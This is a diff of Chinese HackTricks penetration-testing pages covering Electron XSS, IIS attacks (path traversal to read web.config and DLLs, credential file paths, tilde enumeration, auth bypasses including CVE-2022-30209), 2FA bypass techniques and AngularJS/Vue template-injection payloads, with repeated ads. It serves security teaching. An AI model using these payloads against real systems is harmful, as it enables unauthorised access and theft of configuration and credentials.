如果函数使用的**正则表达式容易被绕过**(例如**未转义子域的点**),攻击者可以滥用XSS来**打开一个新窗口**,该窗口位于攻击者的基础设施中,**要求用户提供凭据**
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -264,7 +278,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
## **工具**
* [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别 Electron 应用程序中的配置错误和安全反模式的工具。
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,用于 Electron 应用程序,使用 Electronegativity。
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,用于 Electron 应用程序,使用 Electronegativity。
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查第三方库是否存在漏洞。
* [**Electro.ng**](https://electro.ng/):需要购买。
@ -302,19 +316,31 @@ npm start
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
* 有关 Electron 安全性的更多研究和写作,请参考 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* 更多关于Electron安全性的研究和写作请参考[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
支持HackTricks的其他方式
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我们**。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -8,12 +8,26 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
测试可执行文件扩展名:
* asp
@ -24,14 +38,11 @@
## 内部IP地址泄露
在任何收到302响应的IIS服务器上您可以尝试剥离Host标头并使用HTTP/1.0在响应中Location标头可能指向内部IP地址
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
响应披露内部IP
披露内部IP的响应
```
GET / HTTP/1.0
@ -42,7 +53,6 @@ Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## 执行 .config 文件
您可以上传 .config 文件并使用它们来执行代码。一种方法是将代码附加到文件末尾的 HTML 注释中:[在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
@ -64,7 +74,7 @@ X-FEServer: NHEXCHANGE2016
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
勿添加任何扩展名,需要扩展名的文件已经包含在内。
在不添加任何扩展名的情况下使用,需要扩展名的文件已经包含在内。
## 路径遍历
@ -83,16 +93,14 @@ X-FEServer: NHEXCHANGE2016
### **探索二进制文件**
下面是访问 **web.config** 文件的示例:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
这个请求揭示了各种设置和依赖关系,比如:
* **EntityFramework** 版本
* 用于网页、客户端验证和JavaScript的 **AppSettings**
* 用于网页、客户端验证和 JavaScript 的 **AppSettings**
* 用于身份验证和运行时的 **System.web** 配置
* **System.webServer** 模块设置
* 用于诸如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc** 等多个库的 **Runtime** 组件绑定
@ -105,30 +113,25 @@ Host: example-mvc-application.minded
### **命名空间和 Web.Config**
MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**,以避免在每个文件中重复声明,如通过请求下载另一个 **web.config** 文件所示:
MVC 应用程序还为特定命名空间定义额外的 **web.config 文件**,以避免在每个文件中重复声明,如通过请求下载另一个 **web.config** 所示:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **下载 DLLs**
提到自定义命名空间暗示着在 /bin 目录中存在一个名为 "**WebApplication1**" 的 DLL。接着展示了下载 **WebApplication1.dll** 的请求:
提到自定义命名空间暗示着一个名为 "**WebApplication1**" 的 DLL 存在于 /bin 目录中。接着展示了下载 **WebApplication1.dll** 的请求:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
这表明在/bin目录中存在其他重要的DLL比如**System.Web.Mvc.dll**和**System.Web.Optimization.dll**。
在一个场景中一个DLL导入了一个名为**WebApplication1.Areas.Minded**的命名空间攻击者可能推断出在可预测路径中存在其他web.config文件比如\*\*/area-name/Views/**,其中包含特定配置和对/bin文件夹中其他DLL的引用。例如对**/Minded/Views/web.config**的请求可以显示配置和命名空间表明另一个DLL**WebApplication1.AdditionalFeatures.dll\*\*的存在。
在一个场景中一个DLL导入了一个名为**WebApplication1.Areas.Minded**的命名空间攻击者可能推断出在可预测路径中存在其他web.config文件比如**/area-name/Views/**,其中包含特定配置和对/bin文件夹中其他DLL的引用。例如对**/Minded/Views/web.config**的请求可以显示配置和命名空间表明另一个DLL **WebApplication1.AdditionalFeatures.dll**的存在。
### 常见文件
来自[这里](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -205,26 +208,25 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404错误
如果您看到如下错误:
![](https://github.com/carlospolop/hacktricks/blob/cn/.gitbook/assets/image%20\(446\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(13\).png)
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
这意味着服务器**未收到正确域名**在主机头中。\
为了访问网页,您可以查看提供的**SSL证书**,也许您可以在其中找到域名/子域名。如果没有找到,您可能需要**暴力破解虚拟主机**直到找到正确的一个
这意味着服务器**未收到Host标头中的正确域名**。\
为了访问网页,您可以查看提供的**SSL证书**,也许您可以在其中找到域名/子域名。如果找到,您可能需要**暴力破解虚拟主机**直到找到正确的主机
## 值得寻找的旧IIS漏洞
### Microsoft IIS波浪符“\~”漏洞/特性 - 短文件/文件夹名称泄露
### Microsoft IIS波浪符“\~”漏洞/特性 - 短文件/文件夹名称泄露
您可以尝试**枚举**每个发现的文件夹中的文件和文件夹(即使需要基本身份验证)使用此**技术**。\
您可以尝试使用此**技术**在每个发现的文件夹中**枚举文件夹和文件**(即使需要基本身份验证)。\
此技术的主要限制是,如果服务器存在漏洞,**它只能找到每个文件/文件夹名称的前6个字母和文件扩展名的前3个字母**。
您可以使用[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (183).png>)
![](<../../.gitbook/assets/image (841).png>)
原始研究:[https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
@ -232,7 +234,7 @@ C:\xampp\tomcat\conf\server.xml
### 基本身份验证绕过
**绕过**基本身份验证(**IIS 7.5**)尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php`或`/admin::$INDEX_ALLOCATION/admin.php`
尝试绕过基本身份验证(**IIS 7.5**)尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php`或`/admin::$INDEX_ALLOCATION/admin.php`
您可以尝试**结合**此**漏洞**和上一个漏洞来查找新的**文件夹**并**绕过**身份验证。
@ -257,13 +259,12 @@ ASPXAUTH使用以下信息
* **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。
* **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。
然而,一些人会使用这些参数的**默认值**,并将用户的电子邮件用作**cookie**。因此如果您可以找到一个使用ASPXAUTH cookie的**相同平台**的网站并在受攻击的服务器上创建一个使用要模拟用户的用户的电子邮件的用户您可能能够在第一个服务器中使用第二个服务器的cookie并冒充用户。\
然而,一些人会使用这些参数的**默认值**,并将用户的**电子邮件用作cookie**。因此如果您可以找到一个使用ASPXAUTH cookie的**相同平台**的网站并在受攻击的服务器上创建一个使用要模拟用户的用户的电子邮件的用户您可能能够在第一个服务器中使用第二个服务器的cookie并冒充用户。\
这种攻击在这个[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)中起作用。
## IIS身份验证绕过缓存密码CVE-2022-30209 <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## 使用缓存密码绕过IIS身份验证CVE-2022-30209<a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[完整报告在此处](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**未正确检查用户提供的密码**,因此,如果**密码哈希命中已在缓存中的密钥**,攻击者将能够以该用户身份登录。
```python
# script for sanity check
> type test.py
@ -283,17 +284,28 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,7 +6,7 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -14,19 +14,33 @@
</details>
## **增强型双因素认证绕过技术**
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## **增强型两步验证绕过技术**
### **直接访问端点**
要绕过双因素认证,直接访问后续端点,了解路径至关重要。如果不成功,修改**Referrer header**以模拟从双因素认证验证页面导航。
要绕过两步验证,直接访问后续端点,了解路径至关重要。如果不成功,修改**引用者标头**以模拟从两步验证页面导航。
### **令牌重用**
重新使用先前使用过的令牌进行身份验证可能是有效的。
在账户内重复使用先前使用过的令牌进行身份验证可能是有效的。
### **利用未使用的令牌**
尝试从自己的帐户中提取令牌以绕过另一个帐户的双因素认证。
尝试从自己的账户中提取令牌以绕过另一个账户的两步验证。
### **令牌暴露**
@ -34,19 +48,19 @@
### **验证链接利用**
使用发送给账户创建时的**电子邮件验证链接**可以允许在没有双因素认证的情况下访问个人资料,如详细[帖子](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)中所述。
使用在账户创建时发送的**电子邮件验证链接**可以允许在没有两步验证的情况下访问个人资料,如详细[帖子](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)中所述。
### **会话操纵**
为用户和受害者的帐户启动会话,并为用户的帐户完成双因素认证而不继续,允许尝试访问受害者帐户流程中的下一步,利用后端会话管理限制。
为用户和受害者的账户启动会话,并为用户的账户完成两步验证而不继续,允许尝试访问受害者账户流程的下一步,利用后端会话管理限制。
### **密码重置机制**
调查密码重置功能,该功能在重置后将用户登录到应用程序,以确定是否允许使用相同链接进行多次重置至关重要。使用新重置的凭据登录可能会绕过双因素认证。
调查密码重置功能,该功能在重置后将用户登录到应用程序,以确定是否允许使用相同链接进行多次重置至关重要。使用新重置的凭据登录可能会绕过两步验证。
### **OAuth平台妥协**
### **OAuth平台被入侵**
妥协用户在受信任的**OAuth**平台例如Google、Facebook上的帐户可以提供绕过双因素认证的途径。
入侵用户在受信任的**OAuth**平台例如Google、Facebook上的账户可以提供绕过两步验证的途径。
### **暴力破解攻击**
@ -60,31 +74,31 @@
#### **代码重新发送限制重置**
重新发送代码会重置速率限制,促使继续进行暴力破解尝试。
重新发送代码会重置速率限制,促进持续的暴力破解尝试。
#### **客户端速率限制规避**
一份文详细介绍了绕过客户端速率限制的技术。
一份文详细介绍了绕过客户端速率限制的技术。
#### **内部操作缺乏速率限制**
速率限制可能保护登录尝试,但不保护内部户操作。
速率限制可能保护登录尝试,但不保护内部户操作。
#### **短信代码重新发送成本**
通过短信大量重新发送代码会给公司带来成本,尽管不会绕过双因素认证。
通过短信大量重新发送代码会给公司带来成本,尽管不会绕过两步验证。
#### **无限OTP生**
#### **无限OTP生**
使用简单代码进行无限OTP生成允许通过重试一小组代码进行暴力破解。
### **竞争条件利用**
利用竞争条件进行双因素认证绕过可以在特定文档中找到。
利用竞争条件进行两步验证绕过可以在特定文件中找到。
### **CSRF/点击劫持漏洞**
探索CSRF或点击劫持漏洞以禁用双因素认证是一种可行的策略。
探索CSRF或点击劫持漏洞以禁用两步验证是一种可行的策略。
### **“记住我”功能利用**
@ -94,33 +108,33 @@
#### **IP地址冒充**
通过**X-Forwarded-For**头冒充受害者的IP地址可以绕过限制。
通过**X-Forwarded-For**头冒充受害者的IP地址可以绕过限制。
### **利用旧版本**
#### **子域**
测试子域可能使用不支持双因素认证或包含易受攻击的双因素认证实现的过时版本
测试子域可能使用不支持两步验证的过时版本或包含易受攻击的两步验证实现
#### **API端点**
通过/v\*目录路径指示的旧API版本可能容易受到双因素认证绕过方法的攻击。
旧的API版本通过/v\*目录路径指示,可能容易受到两步验证绕过方法的攻击。
### **处理先前会话**
双因素认证激活时终止现有会话可保护帐户免受来自受损会话的未经授权访问。
两步验证激活时终止现有会话可保护账户免受来自受损会话的未经授权访问。
### **备用代码的访问控制缺陷**
### **带有备用代码的访问控制缺陷**
双因素认证激活时立即生成并潜在地未经授权地检索备用代码,尤其是在存在CORS配置错误/XSS漏洞的情况下存在风险。
两步验证激活后立即生成备用代码并潜在地未经授权地检索备用代码尤其是在CORS配置错误/XSS漏洞的情况下存在风险。
### **2FA页面上的信息露**
### **2FA页面上的信息露**
双因素认证验证页面上披露敏感信息(例如电话号码)是一个问题。
2FA验证页面上泄露敏感信息(例如电话号码)是一个问题。
### **密码重置禁用2FA**
一个演示潜在绕过方法的过程涉及帐户创建、双因素认证激活、密码重置和随后的登录,而无需2FA要求。
一个演示潜在绕过方法的过程涉及账户创建、2FA激活、密码重置和随后登录而无需2FA要求。
### **诱饵请求**
@ -128,19 +142,18 @@
## 参考资料
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/cn/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
## WhiteIntel
支持HackTricks的其他方式
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
</details>
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}

View file

@ -7,23 +7,36 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
# 摘要
这类似于**服务器端模板注入**,但是在**客户端**。**SSTI**可以让您在远程服务器上**执行代码**,而**CSTI**可以让您在受害者的浏览器中**执行任意JavaScript**代码。
这类似于[**服务器端模板注入**](ssti-server-side-template-injection/),但是出现在**客户端**。**SSTI**可以让您在远程服务器上**执行代码**,而**CSTI**可以让您在受害者的浏览器中**执行任意JavaScript**代码。
对于这种漏洞的**测试**与**SSTI**的情况非常**相似**,解释器期望**一个模板**并将执行它。例如,使用像`{{ 7-7 }}`这样的有效负载,如果应用程序**存在漏洞**,您将看到一个`0`,如果没有,您将看到原始内容:`{{ 7-7 }}`
对于这种漏洞的**测试**与**SSTI**的情况非常**相似**,解释器期望**一个模板**并将执行。例如,使用像`{{ 7-7 }}`这样的有效负载,如果应用程序**存在漏洞**,您将看到一个`0`,如果没有,您将看到原始内容:`{{ 7-7 }}`
# AngularJS
AngularJS是一个广泛使用的JavaScript框架通过称为指令的属性与HTML进行交互其中一个显著的指令是**`ng-app`**。该指令允许AngularJS处理HTML内容从而执行双花括号内的JavaScript表达式。
AngularJS是一个广泛使用的JavaScript框架通过称为指令的属性与HTML进行交互其中一个著的指令是**`ng-app`**。该指令允许AngularJS处理HTML内容从而使JavaScript表达式在双大括号内执行
在用户输入动态插入到标记为`ng-app`的HTML主体的情况下可以执行任意JavaScript代码。这可以通过利用输入中的AngularJS语法来实现。以下是演示如何执行JavaScript代码的示例
用户输入动态插入到标记为`ng-app`的HTML主体的情况下可以执行任意JavaScript代码。这可以通过利用输入中的AngularJS语法来实现。以下是演示如何执行JavaScript代码的示例
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -43,14 +56,14 @@ AngularJS是一个广泛使用的JavaScript框架通过称为指令的属性
您可以在[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)找到一个**易受攻击的Vue**实现。\
有效载荷:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
以及这里易受攻击示例的**源代码**[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
以及这个易受攻击示例的**源代码**在这里[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
## **V3**
一个关于VUE中CSTI的非常好的帖子可以在[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)找到
在 [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) 中可以找到关于VUE中CSTI的非常好的文章。
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
@ -86,17 +99,28 @@ javascript:alert(1)%252f%252f..%252fcss-images
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
